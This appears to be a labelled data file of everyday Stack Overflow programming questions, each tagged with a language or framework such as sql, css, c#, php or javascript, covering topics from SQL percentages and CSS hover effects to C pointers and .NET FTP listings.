there is a table with column product and it has 2 fields laptop and desktop. i need to interchange there values  there is a table with column name product and it has 2 values laptop and desktop. i need to interchange there values which means laptop should be desktop and vice versa.,sql
find jquery attribute value using jquery [name= +filename]  i m making dynamic gallery     here is part of my code   <pre><code>&lt;li id= pic_0 &gt;  &lt;img src= http://localhost/wpff/wp-content/themes/twentyeleven/images/family/small/012_family-portrait_people_sea.jpg  name= 012_family-portrait_people_sea.jpg  horz= y &gt; &lt;/li&gt; &lt;li id= pic_1 &gt;  &lt;img src= http://localhost/wpff/wp-content/themes/twentyeleven/images/family/small/011_family-portrait_people_sea.jpg  name= 011_family-portrait_people_sea.jpg  horz= y &gt; &lt;/li&gt; &lt;li id= pic_2 &gt;  &lt;img src= http://localhost/wpff/wp-content/themes/twentyeleven/images/family/small/010_family-portrait_mother-son_sea.jpg  name= 010_family-portrait_mother-son_sea.jpg  horz= y &gt; &lt;/li&gt; </code></pre>   file names generated on the fly.  i want to get  horz  value knowing filename (name value stored in bigpic variable) using jquery   <pre><code>var horz = $( name= +bigpic).attr( horz ); </code></pre>   cannot get it right! a little help please.    thanks. alexei,jquery
in sql  what is the relation between the  with  clause and views   i m reading about views in sql  and i m confused about the interplay between views(i know they re used for security reasons)  and the <code>with</code> clause(used to define   a temporary view whose definition is available only to the query in which the with clause occurs  [database system concepts 5th ed.]) ) ).    <pre><code>with max_balance(value) as select max(balance) from account select account_number from account  max_balance where account.balance = max_balance.value </code></pre>,sql
c++ initialize class static data member  i have a class which has a number of static function to perform some calculation. however  before the calculation  i need to pass in a data to initialize some of the static data members. currently i have an init(data) function and a clearresource() function which should be called before and after the use of the class. is there a better way of doing that     for example:   <pre><code>classa(){  static int a;  static init(int b) {     a = b;  }  static functiona(){    //perform something based on value of a;     switch(a){     }  }  }  int main(){   classa::init(5);   classa::functiona();  } </code></pre>   thanks,c++
angularjs : isdate() returns false if passed argument is not a date object  i just try to check a string whether a date or not. this is my code in angular js.   <pre><code>var mydt=  2015/07/29 ;  document.write(angular.isdate(mydt)); </code></pre>   this always return false. but actually this is a date.    but when i try this code    <pre><code>var cur_date = new date();  document.write(cur_date);     document.write(angular.isdate(cur_date));  </code></pre>   the executed result is     <em>wed jul 29 2015 15:15:13 gmt+0530 (sri lanka standard time) true</em>    i m wondering why we cannot check simple date format like  yyyy/mm/dd  in simple way.,angularjs
css button animation  i am having some trouble with the direction of this css animation. i want the button to shrink and change colors when the user hovers over it. <br> however when i hover over the button it just shrinks toward the upper left. any help would be appreciated. <br><br> here is my <strong>css code</strong>:   <pre><code>.btn-lg {         display: inline-block;         margin-bottom: 0;         font-size: 18px;         font-weight: 400;         line-height: 1.42857143;         text-align: center;         white-space: nowrap;         vertical-align: middle;         cursor: pointer;         border: 1px solid transparent;         background-color: #f04e45;         color: white;         border-radius: 30px;         padding: 0.9em 2em;         margin-top: 1em;         -webkit-transition: all 0.4s ease-in-out;         -o-transition: all 0.4s ease-in-out;         transition: all 0.4s ease-in-out;     }  .btn-lg:hover {         color: #f04e45;         border-color: #f04e45;         border-radius: 22px;         padding: .5em 1.2em;         background-color: #ffffff;         border: 1px solid ;         transform:scale(.9);         -webkit-transition:all 0.4s ease-in-out;         -0-transition: all o.4s ease-in-out;     } </code></pre>,css
can i share common elements of a website as objects   i ve been redesigning a website i built several years ago  originally using frames  so that the website uses css and div tags. in trying to make my webdesign as flexible as possible  i wish to share common elements  such as the banner at the top of the page  and the footer  etc. so that they link to one common file - and a change to this file causes a change on all other pages. i ve been trying to do this without the hassle of setting up php or asp etc. server side.    i ve found the following solution to work  but have found no references to it online  what are the disadvantages of the following solution    <pre><code>&lt;div id= wrapper &gt; &lt;div id= header &gt;&lt;object type= text/html  data= test.html  style= width:100%; height:100% margin:0 &gt;&lt;/object&gt;&lt;/div&gt; &lt;div id= content &gt;individual page content here.&lt;/div&gt;&lt;/div&gt; </code></pre>   where the test.html file contains the common header.,html
reading excel data of custom data type in excel to load in to data set but it s truncating the decimal value using oledb provider  i tried and fed up with the problem.    actually i have a requirement of excel sheet containing custom format in excel. while loading into dataset the decimal value has 0.123456 but its dispalying as 0.1235.    oledb connection string is having imex=1  hdr=yes. i need header and the data has to be displayed as 0.123456.    can you please help me on this.,c#
how to programmatically submit a password to a stand alone program in c#  i am making a c# application (using microsoft visual studio 2015  using winforms) that needs to open a password protected .docx file in c#. i know you can do:   <pre><code>process.start( winword.exe    filename.docx ); </code></pre>   to start word (i m using microsoft word 2016) with that file loaded in. but i also want to submit the password to word so it opens without me doing anything. i know it s not this simple  but this is what imagining right now:   <pre><code>public void submitpassword(string password) {     process.start( winword.exe    filename.docx  //something like this: system.password.sumbit( winword.exe   password)); } </code></pre>,c#
how to obtain percents  can i obtain the group sum and total sum in the same query   i have a table similar to below. i need to get the percentages for each region  but to obtain it i have to get the total sum because it is not always going to be 100.   <pre><code>customer  region  quantity --------  ------  -------- 1         east     10 2         west     10 3         south    10 4         south    10 5         south    10 6         south    10 7         south    10 8         north    10 9         north    10 10        north    10 </code></pre>   the result should be:      <pre><code>region  percent ------  ------- west     10%  east     10% south    50% north    30% </code></pre>   if i group by region  i can obtain the sum only for that region  but i need the sum for the entire result.,sql
why am i having a printformat error   so this is the    code i have written and i am not sure where the error is so maybe you guys can help..   <pre><code>import java.util.scanner;    public class discount {     public static void main(string[] args){         scanner input=new scanner(system.in);         system.out.print( please enter price(1)  );         double price1=input.nextdouble();         system.out.print( please enter price(2)  );         double price2=input.nextdouble();         double discounted1=(1/3)*price1;         double discounted2=(1/3)*price2;         int eq1=(int)(discounted1*1508);         int eq2=(int)(discounted2*1508);         int w1;         int w2;         int w3;         string f=discounted1+  ;         string d=discounted2+  ;         string i=price1+  ;         string s=price2+  ;         string a=eq1+  ;         string b=eq2+  ;          if(price1&gt;price2){             w1=i.length();             w2=f.length();             w3=a.length();         }         else{             w1=s.length();             w2=d.length();             w3=b.length();           }          system.out.println( price(in usd) \tdiscounted\tequivalent price (in ll) );         system.out.printf( $%w1f\t$%w2f\tll%w3d\n   price1 discounted1 eq1);         system.out.printf( $%w1f\t$%w2f\tll%w3d\n   price2 discounted2 eq2);      } } </code></pre>   the error it gives me is exception in thread  main :   <pre><code>    java.util.unknownformatconversionexception: conversion =  w      at java.util.formatter$formatspecifier.conversion(unknown source)     at java.util.formatter$formatspecifier.&lt;init&gt;(unknown source)     at java.util.formatter.parse(unknown source)     at java.util.formatter.format(unknown source)     at java.io.printstream.format(unknown source)     at java.io.printstream.printf(unknown source)     at discount.main(discount.java:40) </code></pre>,java
how to hover over a div to change just a part of its background   i ve searched a lot about it and found how to change another div s content on hovering over one div and also found out how to change its elements-- like background color  font  font color.    this is what i ve been able to get so far    html   <pre><code>&lt;!doctype html&gt; &lt;html&gt;     &lt;head&gt;         &lt;link rel= stylesheet  href= stylesheet.css /&gt;         &lt;title&gt;fancy fonts&lt;/title&gt;     &lt;/head&gt;     &lt;body&gt;         &lt;div class= test &gt;             change me on hover!         &lt;/div&gt;     &lt;/body&gt; &lt;/html&gt; </code></pre>   css   <pre><code>div.test {     background-color: black;     color: white; }  div.test:hover {     background-color: grey; } </code></pre>   but this changes the whole div s background color  i need it to change  say  just its upper half  <em>but</em> no js or anything  <em>only</em> css.,css
objective-c: obscuring data when in background not working  i ve been trying to obscure data when the application enters the background state by hiding it in the task switcher.    here is my <strong>appdelegate.h</strong> file   <pre><code>@interface appdelegate : uiresponder &lt;     uiapplicationdelegate      memberservicesmanagerdelegate &gt; {     uiwindow* window;     reachability* reachbility; }  @property(nonatomic  strong) uiviewcontroller *mainviewcontroller; @end </code></pre>   this is my <strong>appdelegate.m</strong> file   <pre><code>- (bool)application:(uiapplication*)application didfinishlaunchingwithoptions:(nsdictionary*)launchoptions     { window = [[uiwindow alloc] initwithframe:uiscreen.mainscreen.bounds];          window.rootviewcontroller = startupcontroller.instance.startingviewcontroller;         if(device == ipad){             self.mainviewcontroller = window.rootviewcontroller.childviewcontrollers[0];         }         [window makekeyandvisible]; } - (void)applicationdidenterbackground:(uiapplication *)application {     //1     //self.window.hidden = yes;      //2     //uiviewcontroller *image = [uiviewcontroller new];     //image.view.backgroundcolor = [uicolor blackcolor];     //[window makekeyandvisible];     //[window.rootviewcontroller presentviewcontroller:image animated:no completion:null];      //3         uiview *colourview = [[uiview alloc]initwithframe:window.frame];         colourview.backgroundcolor = [uicolor blackcolor];         colourview.tag = 1234;         colourview.alpha = 0;         [window addsubview:colourview];         [window bringsubviewtofront:colourview];          [uiview animatewithduration:0.5 animations:^{             colourview.alpha = 1;         }];       nslog(@ back );        }  - (void)applicationwillenterforeground:(uiapplication *)application {     //1     //self.window.hidden = no;      //2     //[window.rootviewcontroller dismissviewcontrolleranimated:no completion:no];      //3         uiview *colourview = [window viewwithtag:1234];         [uiview animatewithduration:0.5 animations:^{             colourview.alpha = 0;         } completion:^(bool finished) {             [colourview removefromsuperview];         }];      nslog(@ foreground ); } </code></pre>   i tried these 3 implementations but it won t hide the view when i enter the multitask switcher.    i tried this with both simulator and real device but it still won t work. can you help me with this,objective-c
angular expression is not working in ternary operator  i just started to work with angular  it seems good to implement and i am enjoying it.    i just used ternary operator in my <code>html</code> page  but it s not working and i am getting angular <code>parsing error</code>    here is the stuff which i am trying to execute.   <pre><code>&lt;button class= common btnyellow viewalltext &gt;{{data.data.bookmarks[0].category_name.length&gt;=0    {{data.data.bookmarks[0].category_name}}  :  recently added }}&lt;/button&gt;  </code></pre>   any suggestion will be helpful for me.    <em>thank you</em>,angularjs
ui-grid column gets expand on hover  <a href= https://i.stack.imgur.com/wurvp.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/wurvp.png  alt= enter image description here ></a>i am using ui-grid in angular which has 5 columns. on hover of grid options columns are getting expanded towards right side.    here is my file.    <strong>html file</strong>   <pre><code>&lt;div class= full-panle-body &gt;     &lt;div class= row user-view-grid  ng-show= gridoptions.data.length &gt; 0 &amp;&amp; userloaded &gt;         &lt;div ui-grid= gridoptions  ui-grid-auto-resize ui-grid-cellnav ui-grid-edit ui-grid-resize-columns ui-grid-pinning ng-style= gettableheight() &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= row loading-spinner  ng-hide= userloaded &gt;         &lt;div class= col-xs-3 &gt;&lt;/div&gt;         &lt;div class= loading col-xs-6 &gt;             &lt;span rel= spinner  class= data-spinner &gt;&lt;/span&gt;             &lt;div class= loading-text &gt;{{:: label.loading.user.list  | translate}}&lt;/div&gt;         &lt;/div&gt;         &lt;div class= col-xs-3 &gt;&lt;/div&gt;     &lt;/div&gt;     &lt;div class= no-records  ng-show= !numberrecordsfound &amp;&amp; userloaded &gt;         {{::  text.search.no.records  | translate }}     &lt;/div&gt; &lt;/div&gt;  &lt;!-- html template for status --&gt; &lt;script type= text/ng-template  id= statuscell-template.html &gt;     &lt;div ng-click= grid.appscope.onuserdetails(row.entity)  class= inner-data-cell-center &gt;         &lt;div style= text-align:center; &gt;         &lt;i class= fa fa-envelope-o  aria-hidden= true  style= color:grey;  ng-show=  added  == row.entity.registrationstatus.tolowercase() &gt;&lt;/i&gt;         &lt;i class= fa fa-envelope-o  aria-hidden= true  style= color:blue;  ng-show=  notified  == row.entity.registrationstatus.tolowercase() &gt;&lt;/i&gt;         &lt;i class= fa fa-check  aria-hidden= true  style= color:green;  ng-show=  complete  == row.entity.registrationstatus.tolowercase() &gt;&lt;/i&gt;         &lt;/div&gt;         &lt;div style= text-align:center;  class= smaller-grey &gt;{{row.entity.registrationstatus}}&lt;/div&gt;     &lt;/div&gt; &lt;/script&gt;  &lt;script type= text/ng-template  id= name-template.html &gt;     &lt;div class= ui-grid-cell-contents  ng-click= grid.appscope.onuserdetails(row.entity) &gt;         &lt;div class= name-style &gt;{{row.entity.lastname}}  {{row.entity.firstname}}&lt;/div&gt;         &lt;div class= email-style &gt;{{row.entity.email}}&lt;/div&gt;     &lt;/div&gt; &lt;/script&gt;  &lt;!-- html template for organization --&gt; &lt;script type= text/ng-template  id= organization-template.html &gt;     &lt;div class= single-elm-style  ng-click= grid.appscope.onuserdetails(row.entity) &gt;         &lt;span class= dummy &gt;{{row.entity.organization}}&lt;/span&gt;     &lt;/div&gt; &lt;/script&gt;  &lt;!-- html template for username --&gt; &lt;script type= text/ng-template  id= username-template.html &gt;     &lt;div class= single-elm-style  ng-click= grid.appscope.onuserdetails(row.entity) &gt;         &lt;span&gt;{{row.entity.username}}&lt;/span&gt;     &lt;/div&gt; &lt;/script&gt;  &lt;!-- html template for account status --&gt; &lt;script type= text/ng-template  id= accountstatus-template.html &gt;     &lt;div class= single-elm-style  ng-click= grid.appscope.onuserdetails(row.entity) &gt;         &lt;span ng-show= row.entity.isactive &gt;enabled&lt;/span&gt;         &lt;span ng-show= !row.entity.isactive &gt;disabled&lt;/span&gt;     &lt;/div&gt; &lt;/script&gt; </code></pre>   <strong>css file</strong>   <pre><code>.ui-grid-row:hover{     border-left: solid 6px @hoverblue; } </code></pre>   <strong>js file</strong>   <pre><code>$scope.gridoptions = {     rowheight: 60      multiselect: false      enablecolumnmenus: false      enableedit: false      enablesoring: true      columndefs: [         {             name:  registrationstatus               width:  15%               displayname:  status               headercellclass:  grid-header-center               cellclass:  grid-data-cell               celltemplate:  statuscell-template.html          }          {             name:  lastname               width:  30%               displayname:  name               headercellclass:  grid-header-left               celltemplate:  name-template.html          }          {             name:  organization               width:  15%               displayname:  organization               headercellclass:  grid-header-left               celltemplate:  organization-template.html          }          {             name:  username               width:  20%               displayname:  username               headercellclass:  grid-header-left               celltemplate:  username-template.html          }          {             name:  isactive               width:  20%               displayname:  account status               headercellclass:  grid-header-left               celltemplate:  accountstatus-template.html          }     ] }; </code></pre>   hi.i am using ui-grid in angular which has 5 columns. on hover of grid options columns are getting expanded towards right side.,css
conversion locations between private geographical coordinate system and wgs84 in ios  i have a layer with a private geographical coordinate system in mapview in a iphone or ipad. now i need to show a gps location in this layer  if i use the seven parameters transformation algorithm to convert coordinate from wgs84 to my gcs  how should i do       which method of the <strong>cllocationmanagerdelegate</strong> should i implement,ios
fit text to a specific number of lines  variable width  my page displays a set of news items  each with a headline. the headline can be a variable number of words  but i’d like them to always be on two lines with as balanced widths as possible. for example:   <pre><code>announcing bosun  our new open source monitoring &amp; alerting system  stack exchange for the ipad is here  a headline </code></pre>   obviously i could chuck in a <code>&lt;br&gt;</code> element at the correct break point and i could even try to calculate its position automatically  but is there any css that will do this for me  it’d be nice to get this working in a responsive layout. i don’t care particularly about browser compatibility so answers that reference upcoming specs that achieve what i want will be accepted too.,css
how to load uipickerview values from database in iphone   i want to load data to uipickerview from database.  this is my code   <pre><code>if (sqlite3_prepare_v2(usersdb  query_stmt  -1  &amp;statement  null) == sqlite_ok) { int i=0; while (sqlite3_step(statement) == sqlite_row) { nslog(@ select ); self.coun=[[nsstring alloc] initwithutf8string:(char *)sqlite3_column_text(statement  0)];  nslog(@ coun = %@  coun);  self.animals=[coun componentsseparatedbystring:@ : ]; nslog(@ string value=%@  self.animals); }  sqlite3_finalize(statement); } else { nslog(@ not select ); } </code></pre>   and button actions code is   <pre><code>- (ibaction)selectanitem:(uicontrol *)sender { //display the actionsheetpicker [actionsheetpicker displayactionpickerwithview:sender data:self.animals selectedindex:self.selectedindex target:self action:@selector(itemwasselected::) title:@ select country ]; } </code></pre>   but it run load only last value. not all values loaded in uipickerview. how to load all values from database using this code. anyone pls help me. thanks in advance.,iphone
editing users in asp.net from a grid  i want to edit users who are from a grid view. once i select the user (clicking on a row in a grid)  i want to populate the selected user details into an edit pane(form with user fields) above the grid. is this possible in asp.net.,asp.net
information_schema views returning multiple rows per column  i m trying to write a query which will give me certain key information about a given database s columns  but thus far my query seems to return some strange results! i need to know things about column sizes  nullability  uniqueness etc.    so why do i get multiple results per column    <pre><code>select c.column_name as column_name  c.table_name as table_name  c.character_maximum_length as character_maximum_length  c.column_default as column_default  c.data_type as data_type  c.is_nullable as is_nullable  case when exists (select 1 from information_schema.table_constraints where constraint_type =  primary key  and constraint_name = cc.constraint_name) then 1 else 0 end as is_primary_key  case when exists (select 1 from information_schema.table_constraints where constraint_type =  unique  and constraint_name = cc.constraint_name) then 1 else 0 end as is_unique  c.numeric_precision as numeric_precision  c.numeric_scale as numeric_scale  fk.table_name as foreign_key_table_name  fk.column_name as foreign_key_column_name  from information_schema.columns c left outer join information_schema.constraint_column_usage cc on c.column_name = cc.column_name and c.table_name = cc.table_name left outer join information_schema.table_constraints tc on cc.constraint_name = tc.constraint_name  left outer join information_schema.referential_constraints rc on tc.constraint_name = rc.constraint_name left outer join information_schema.constraint_column_usage fc on rc.unique_constraint_name = fc.constraint_name  left outer join information_schema.constraint_column_usage fk on fc.column_name = fk.column_name and fc.table_name = fk.table_name where columnproperty(object_id(c.table_schema +  .  + c.table_name)  c.column_name   iscomputed ) = 0 and tc.constraint_type =  foreign key  </code></pre>,sql
iphone web app to automatically redirect to app <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/12525257/rails-redirect-to-myapp-to-call-ios-app-from-mobile-safari >rails: redirect_to &#39;myapp://&#39; to call ios app from mobile safari</a>    </blockquote>     i am trying to do what facedialer does when it installs small webapps on your home screen so by clicking them it places a call.    i have my app with its custom url scheme working. if i try writing my custom url from safari it opens my app.    but i can t make it so the web app  when opened  redirects to my custom app. i ve tried with window.location.href= myapp://  and a lot of different variants without success.    the only way i have to make it is through meta redirect tag. but i need to avoid this solution since i want to discriminate if the user is opening the webapp from the home screen or if it s directly from safari. (using window.navigator.standalone)    does it make sense  any advice     thanks,iphone
vs2013 setup project error  i am using vs2013. i have created setup project in vs2013. i have set framework dependency as 4.0 only.  when i installing this setup on client pc  it is giving error as  this setup requires the .net framework version 4.5. please install the .net framework and run this setup again........     even i have set prerequisites as 4.0 in prerequisites windows. no any other prerequisites selected. though i am facing this issue. even while creating setup project i have selected .net framework 4.0 also. what i am missing. please reply as soon as possible.,.net
c# progress reporting  the following code fails to compile:      <pre><code>async task foo (action&lt;int&gt; onprogresspercentchanged) {     return task.run (() =&gt;     {         for (int i = 0; i &lt; 1000; i++)         {             if (i % 10 == 0) onprogresspercentchanged (i / 10);          }     }); } </code></pre>   due to the following error:    severity    code    description project file    line    suppression state error   cs1997  since  nutshell.foo(action)  is an async method that returns  task   a return keyword must not be followed by an object expression. did you intend to return  task      but this is done exactly as shown in the book. is there something i m missing,c#
iphone simulator runs cached copy of app-in-development  i ve been making changes to my app  but they don t appear when i attempt to build and run using the debugger.  what am i doing wrong   is there a way to delete the old copy of the binary     i have source control (svn) set up; could that be the problem,iphone
remove duplicates from the data returned (rows)  how do you remove duplicates from the data returned (rows) of a select statement.    its probably something easy but i m having trouble with it,sql
a pythonic (3) way to declare more than one variable on a line  i ran across some code in github <a href= https://github.com/oesllelucena/fasnet  rel= nofollow noreferrer >https://github.com/oesllelucena/fasnet</a>    it threw a syntax error at this line:   <pre><code># dimensions of images. (less than 224x 224) img_width  img_height = ( ) </code></pre>   it looks like the code is trying to declare multiple variables on the same line. i see them get passed as parameters later on. i am assuming this code worked at some point but i haven t seen this convention used before. is it a python 2 thing  are they empty tuples  how would you do this properly in python 3  tia,python
dumping all files in folder into one and displaying them  i need to take all the files in the folder where the php file is  dump them together  and echo them. what is the simplest way to do it     for example  i have the following files:    <strong>ilikefish.txt</strong>       <pre><code>i like fish please bring me fish!     well that s enough don t bring me anymore. </code></pre>   <strong>ilikepotatos.js</strong>       <pre><code>var potatos = {yummy:true  amount:5323.6}     function potatofunc(stuff) {     while (stuff== cool ) morestuff();     } </code></pre>   <strong>dawgz.png</strong><br> <em>picture of a dog</em>    well  i want the output to be:    <em>(.txt ignored)</em>   <pre><code>var potatos = {yummy:true  amount:5323.6}     function potatofunc(stuff) {     while (stuff== cool ) morestuff();     } </code></pre>   <em>(picture ignored)</em>    how can i do it  thanks for answering!    also  i m very basic in php and i know nothing  so please forgive me if this question is super dumb. also  i am aware of <a href= https://stackoverflow.com/questions/10408423/is-using-php-to-collate-multiple-javascript-files-going-to-be-faster-than-includ >this</a> question  but it doesn t answer how to do it!    also  my final goal is to include all my libraries and comments using one line of   <pre><code>&lt;script src= http://mysite/alljsses.php &gt;&lt;/script&gt; </code></pre>   and again  <strong><em>thanks for taking the time and answering!!!</em></strong>,php
javascript - dynamically start/stop function with an unlimited loop  what are best practices about dynamic starting/stopping functions with an unlimited loop inside or long running     imagine that user wants to enable showing fps on the screen of application. to do that - javascript should do the calculations on every frame  limitless. but then user wants to turn off this - function must stop completely  without any continuous cpu load.    can you show any good example how to do that  i believe checking  if (stop) => return  on every iteration is something not ideal.,javascript
print decimal numbers in php  how can i print decimal numbers like     0.05    0.10    0.15    0.20    0.25    0.30    0.35    0.40    0.50    .    .    .    1.25    tried with below code but it does not work   <pre><code>     &lt; php       $start = 1;       $end = 3;       $place = 0.5;        $step = 0.05 / pow(10  $place);        for($i = $start; $i &lt;= $end; $i = round($i + $step  $place))       {           echo $i .  \n ;       }         &gt; </code></pre>,php
multiply by seven  i was asked this interview question: what is the quickest way to multiply a number by 7. she told me not to use any of the  <code>+   -   *   /</code> operators. in tense i could not answer the question.    i know the quickest way to multiply a number by 8 is <code>n&lt;&lt;3</code> but can <code>n*7</code> be acheived,c
load order of included javascript scripts  my js/html app is loading some controllers which i have set up as included object literals:    e.g.: page1controller.js   <pre><code>var page1 = {   initialize() {     $( .page ).removeclass( on );     $( #page1 ).addclass( on );   }    dothis: function() {     // script here   }    dothat: function() {     // script here   } } </code></pre>   e.g.: navigation.js   <pre><code>var navigation = {   bindevents: function() {     var page1button = document.getelementbyid( page1button );     page1button.addeventlistener( click   this.loadpage1  false);   }    loadpage1: function() {     page1.initialize();   }    loadpage2: function() {     page2.initialize();   } } </code></pre>   note: navigation.js.bindevents() gets run after pageload/deviceload event (it s a phonegap app).    and the scripts are included at the bottom of my html page as:   <pre><code>&lt;script src= page1controller.js &gt;&lt;/script&gt; &lt;script src= page2controller.js &gt;&lt;/script&gt; &lt;script src= page3controller.js &gt;&lt;/script&gt; &lt;script src= page4controller.js &gt;&lt;/script&gt; &lt;script src= navigation.js &gt;&lt;/script&gt; </code></pre>   it is my understanding that as a default  the scripts will be loaded synchronously - one after the other in the order they appear in the html page.    however  when i call say page3.dothat() from navigation.js  the dothat function is undefined  although functions within some of the other controllers work fine. is it the case that  even though the scripts are loaded in order  navigation.js might be loaded up before page3controller.js has  registered  it s functions fully,javascript
pointers and segmentation faults in c   i m new to c so please correct anything in this question  and also i might be too vague in my question as well.  i have code that kind of goes like this  and i m getting a segmentation fault.  i read online that segmentation faults happen usually when u access a pointer that points to nothing   <pre><code>struct apple get(char* name) {     struct apple a;     a.name = name;     return a; } struct apple* read(){     struct apple* ap = (struct apple*)malloc(2*sizeof(struct apple));     ap[0] = get( bob );     return ap; }  // loop through in another function which reads a pointer to an // apple object in the array and then accesses apple-&gt;name </code></pre>   when it accesses apple->name there is a segmentation fault.  i am assuming this is because the apple object was declared as a local variable and its freed later by c    i really have no idea why i get a segmentation fault or how to fix it or how c works with freeing structs that were initialized as a local variable in a function. can someone please tell me what s going on  thanks!,c
get the parent element of caret position inside iframe (with designmode on) in ie  this is a follow-up question to the: <a href= https://stackoverflow.com/questions/1563427/how-do-i-find-out-the-dom-node-at-cursor-in-a-browsers-editable-content-window-u/1563492#1563492 >how do i find out the dom node at cursor in a browser’s editable content window using javascript </a>    that was answered by <strong>tim down</strong>.    there is a problem getting parent element of caret position (without selecting)  inside iframe in ie (in firefox it works great).    here is the partial code from that answer:   <pre><code>   if (ob.document.selection &amp;&amp; ob.document.selection.createrange) {                   range = ob.document.selection.createrange();                  alert(range.parentelement().innerhtml); //i get blank          return range.parentelement();         } </code></pre>   where ob is:    <pre><code>document.getelementbyid( myiframe ).contentwindow; </code></pre>   the iframe s outerhtml (for testing):   <pre><code>  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  +              &lt;html xmlns= http://www.w3.org/1999/xhtml &gt;  +              &lt;head&gt;  +              &lt;title&gt;testing&lt;/title&gt;  +                         &lt;/head&gt;  +              &lt;body&gt;&lt;p&gt;some text for testing&lt;b&gt;i am bold&lt;/b&gt; more testing&lt;/p&gt; +              &lt;p&gt;blablabla&lt;/p&gt;  +              &lt;p&gt;121213134&lt;/p&gt;&lt;/body&gt;  +              &lt;/html&gt; ); </code></pre>   so when you place caret on any word  the result is  blank .    another issue i would like you to address:<br> if you select section inside  i am bold   the parent element that being returned is  i am bold  (the b element).<br> is it possible to return the p element instead  (ofcourse it should work for other cases as well)     <strong>update:</strong>    the call to the selection function is made   temporary  by a simple button that is located on document that hosts the iframe:   <pre><code>&lt;input type= button  value= test  onclick= getelementinrange() /&gt; </code></pre>   also there is init() function that run at load that sets iframe s outerhtml (though i don t think it s important):   <pre><code>function init() {         document.getelementbyid( myiframe ).contentwindow.document.designmode =  on ;           document.getelementbyid( myiframe ).contentwindow.document.open( text/html    replace );         document.getelementbyid( myiframe ).contentwindow.document.write(//*here comes the string from above...*          document.getelementbyid( myiframe ).contentwindow.document.close();     } </code></pre>   <strong>update2:</strong><br> i tried adding to the button: unselectable= on   this causes strange anomaly some times it returns the right value ans some times it doesn t  even if the caret in same position!!!    <strong>update3</strong><br>  after more testing i ve found out that the  anomaly  happens when iframe loses focus and caret disappears from the iframe after clicking (on what state of click it happens i didn t check)the button (if it disappears the result is blank  if it stays the result is as expected).<br> so the question is how to keep caret inside iframe no matter what,javascript
windows service and scheduler management using web application  here are some requirements:    applcation should able to stat  stop  enable and disable services/schedulers on a given server.    it should able to create new schedulers and install services on a given server    please let me know if there is a way to achieve these using web application.,.net
adding extra parameter in a function stack value is getting corrupted  in c adding extra parameter in a function stack value is getting corrupted. i am using vaargs in a function so in following code if i remove one parameter it works fine but without removing msgptr value gets corrupted.  please tell me solution for this   <pre><code>#define log_msg(level  moduleid  msg ...)\  oslogmsg(level  moduleid 1 0 msg  ##__va_args__  0xc0ffee)  oslogmsg(int level int id boolean datatype int temp const char *msgptr ...) { va_list argptr; va_start(argptr  msgptr); intval = va_arg(argptr  word_t); ----------- va_end(argptr); } </code></pre>,c
sql error in the clause definitions  i have a query but it is giving me a cannot insert duplicate key in object error. i know i need to include a where not exists statement but no matter where i try i get errors. any idea where it would go in this    <pre><code>insert productcustomerlevel  ( productid  customerlevel ) select productid  customerlevel from dbo.product p cross join (         select 5 as customerlevel union all         select 7         )c </code></pre>,sql
where would ftp alias go into in .net ftp connections  i have a current connection method     <pre><code>    ftp ftpclient = new ftp(@ ftp://testftp/   @ username   @ password   false); string[] dirlist = ftpclient.directorylistsimple( / );             foreach (var x in dirlist) { console.writeline(x); }             console.readkey(); </code></pre>   this is the code for the ftp class s directory list   <pre><code>      public class ftp     {         private string host = null;         private string user = null;         private string pass = null;         private ftpwebrequest ftprequest = null;         private ftpwebresponse ftpresponse = null;         private stream ftpstream = null;         private int buffersize = 2048;         private bool enablessl = true; /* list directory contents file/folder name only */     public string[] directorylistsimple(string directory)     {         try         {             /* create an ftp request */             ftprequest = (ftpwebrequest)ftpwebrequest.create(host +  /  + directory);             /* log in to the ftp server with the user name and password provided */             ftprequest.credentials = new networkcredential(user  pass);             /* when in doubt  use these options */             ftprequest.usebinary = true;             ftprequest.usepassive = false;             ftprequest.keepalive = true;             /* enablessl if required  most times false */             ftprequest.enablessl = enablessl;             /* specify the type of ftp request */             ftprequest.method = webrequestmethods.ftp.listdirectory;             /* establish return communication with the ftp server */             ftpresponse = (ftpwebresponse)ftprequest.getresponse();             /* establish return communication with the ftp server */             ftpstream = ftpresponse.getresponsestream();             /* get the ftp server s response stream */             streamreader ftpreader = new streamreader(ftpstream);             /* store the raw response */             string directoryraw = null;             /* read each line of the response and append a pipe to each line for easy parsing */             try { while (ftpreader.peek() != -1) { directoryraw += ftpreader.readline() +  | ; } }             catch (exception ex) { console.writeline(ex.tostring()); }             /* resource cleanup */             ftpreader.close();             ftpstream.close();             ftpresponse.close();             ftprequest = null;             /* return the directory listing as a string array by parsing  directoryraw  with the delimiter you append (i use | in this example) */             try { string[] directorylist = directoryraw.split( | .tochararray()); return directorylist; }             catch (exception ex) { console.writeline(ex.tostring()); }         }         catch (exception ex) { console.writeline(ex.tostring()); }         /* return an empty string array if an exception occurs */         return new string[] {    };     }  } </code></pre>   i then try to run a directory list  which works perfect in a test setting.<br> however when i go to with one of our partners  i get the <strong>530 not logged in</strong><br> i tested in chrome and it logged in fine and showed the directory list<br> i tried with ssl  without  active  passive to no avail<br> the last thing i can think of is they provided an alias  but i can t figure out where it would go. on google they said to do testftp|alias but that didn t work due to uri formatting<br> any help on this would be appreciated,.net
endpoint publish method with domain name (without soap container)in java  can i use <code>endpoint.publish</code> (in java j2se method) to publish the web service in production environment with domain name( without soap container is there any problems)     i have one webservice /ws/tk/xml    <pre><code>endpoint.publish( http:://localhost:8888/ws/tkf/xml  weserviceimpl); </code></pre>   like that i published in my local server and it s working fine     while moving to production server  how to map  domain name like  <a href= http://www.test.com  rel= nofollow noreferrer >http://www.test.com</a>  (sample) can i publish   <pre><code>endpoint.publish( http:://www.test.com/ws/tkf/xml  weserviceimpl)  </code></pre>   like this,java
